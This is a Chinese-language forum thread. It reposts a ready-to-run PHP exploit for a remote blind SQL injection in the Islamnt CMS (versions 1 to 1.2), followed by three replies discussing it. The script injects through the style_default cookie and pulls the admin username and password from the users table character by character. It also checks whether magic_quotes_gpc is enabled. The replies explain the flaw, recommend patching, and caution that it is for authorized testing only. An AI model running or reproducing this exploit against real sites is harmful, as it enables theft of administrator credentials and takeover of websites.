Islamnt < =远程SQL盲注利用
<?php/*
---------------------------------------------------------------
Islamnt <=Remote Blind SQL Injection Exploit by s3n4t00r
---------------------------------------------------------------
Author...............: s3n4t00r
affected versions....: from 1 to 1.2
Gr34ts 4.............: Exp-Bl00d
[-] Vulnerable code in class/class.template.php:
public function get_template ($val)
{
$q = new ib_query();
global $style_default;
$style_def = ib_setting('style_site');
$sel_temp = $q->Query("select $val from styles where id_style='$style_default'"); <-- # here
$row_temp = $q->FetchO($sel_temp);
$this->temp = $row_temp->$val;
$this->temp = stripslashes($this->temp);
}
*/
print "\n+------------------------------------------------------------+";
print "\n| Islamnt <=Remote Blind SQL Injection Exploit by s3n4t00r |";
print "\n+------------------------------------------------------------+\n";
if (!extension_loaded('curl')) die("cURL extension required\n");
error_reporting(E_ERROR);
set_time_limit(0);
function get($url,$inj)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_COOKIE, "style_default=1$inj");
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_VERBOSE, 0);
$calis = curl_exec($curl);
@curl_close($calis);
return $calis;
}
function chek_get($connect)
{
if(eregi("<option value=''></option>",$connect))
{
return true;
}
else
{
return false;
}
}
if ($argc < 2)
{
print "\nUsage......: php $argv <url>\n";
print "\nExample....: php $argv http://localhost/mytickets/";
print "\nExample....: php $argv http://localhost/mytickets/\n";
die();
}
$sql_f = chek_get(get($argv,"' and 1='2 /*"));
$sql_t = chek_get(get($argv,"' and 1='1 /*"));
if($sql_t == $sql_f)
{
print "\n\t sorry: magic_quotes_gpc = On ): \n";
die();
}
print "\n\t[+] Getting Admin Username and Password\n\n\t";
for ($g = 1; $g <= 40; $g++) {//eidt
for ($i = 46; $i <= 122; $i++) {
$inject = chek_get(get($argv,"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,user_user,pass_user)+frOm+users+liMit 0,1),".$g.",1))='".$i."/*"));
if($inject == $sql_t){printchr($i);}
}
}
?>
Re: Islamnt < =远程SQL盲注利用
这个漏洞挺典型的,老版本 CMS 常见的 SQL 注入点,配合 cookie 进行盲注。感谢分享漏洞细节和利用代码,给还在用旧版 Islamnt 的管理员提了个醒,建议尽快升级到最新版本或打补丁。另外如果服务器开了 magic_quotes_gpc,这个 exp 会失效,也算是一层薄弱的防御。Re: Islamnt < =远程SQL盲注利用
感谢“上帝是只猪”分享这个漏洞分析和利用工具。漏洞定位在 `class.template.php` 的 `get_template` 函数中,变量 `$style_def` 未经过滤直接拼接进SQL查询,确实典型。利用代码逻辑清晰,用盲注方式通过cookie注入获取管理员密码,还做了magic_quotes_gpc检测,考虑得挺周全。 不过提醒一下,这种公开的exploit脚本最好先在本地或授权环境下测试,别直接往线上服务器扔。另外,如果目标启用了 `magic_quotes_gpc`(虽然PHP 5.4以后已经移除),脚本会退出,但在老版本上依然有效。建议也注意一下 `curl_setopt` 中的 `CURLOPT_CONNECTTIMEOUT` 设置较短,如果目标响应慢可能误判。 总体很有价值,感谢分享!Re: Islamnt < =远程SQL盲注利用
感谢楼主分享这个漏洞详情,代码分析得很清楚,问题出在 `class.template.php` 的 `get_template` 函数中直接拼接用户可控的 `$val` 到 SQL 查询,导致盲注风险。1.0 到 1.2 版本的用户建议尽快升级或手动过滤输入参数。另外,利用脚本里也提到了 `magic_quotes_gpc` 的状态会影响成功率,实际测试时要注意环境配置。提醒一下,请仅用于授权测试或了解漏洞原理,不要用于非法攻击。
页:
[1]